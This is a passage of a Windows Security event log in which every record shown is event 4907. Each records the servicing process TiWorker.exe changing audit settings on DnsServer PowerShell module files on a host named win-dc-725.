	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247205
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneSign_v1.0.0.cdxml
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247204
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneScope_v1.0.0.cdxml
	Handle ID:	0x7c8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247203
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneKeyMasterRole_v1.0.0.cdxml
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247202
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneDelegation_v1.0.0.cdxml
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247201
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneAging_v1.0.0.cdxml
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247200
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZone_v1.0.0.cdxml
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247199
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerVirtualizationInstance_v1.0.0.cdxml
	Handle ID:	0x7c8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247198
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerTrustPoint_v1.0.0.cdxml
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247197
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerTrustAnchor_v1.0.0.cdxml
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247196
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerStubZone_v1.0.0.cdxml
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247195
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerStatistics_v1.0.0.cdxml
	Handle ID:	0x7c8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247194
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerSigningKeyRollover_v1.0.0.cdxml
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247193
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerSigningKey_v1.0.0.cdxml
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247192
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerSetting_v1.0.0.cdxml
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247191
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerSecondaryZone_v1.0.0.cdxml
	Handle ID:	0x7c8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247190
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerScavenging_v1.0.0.cdxml
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247189
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerRootHint_v1.0.0.cdxml
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247188
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResponseRateLimitingExceptionlist_v1.0.0.cdxml
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247187
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResponseRateLimiting_v1.0.0.cdxml
	Handle ID:	0x7c8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247186
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordPTR_v1.0.0.cdxml
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247185
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordMX_v1.0.0.cdxml
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247184
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordDS_v1.0.0.cdxml
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247183
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordDnsKey_v1.0.0.cdxml
	Handle ID:	0x7b4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247182
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordCNAME_v1.0.0.cdxml
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247181
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordAging_v1.0.0.cdxml
	Handle ID:	0x7c8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247180
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordAAAA_v1.0.0.cdxml
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247179
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordA_v1.0.0.cdxml
	Handle ID:	0x7b4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247178
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecord_v1.0.0.cdxml
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247177
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerRecursionScope_v1.0.0.cdxml
	Handle ID:	0x7c8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247176
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerRecursion_v1.0.0.cdxml
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
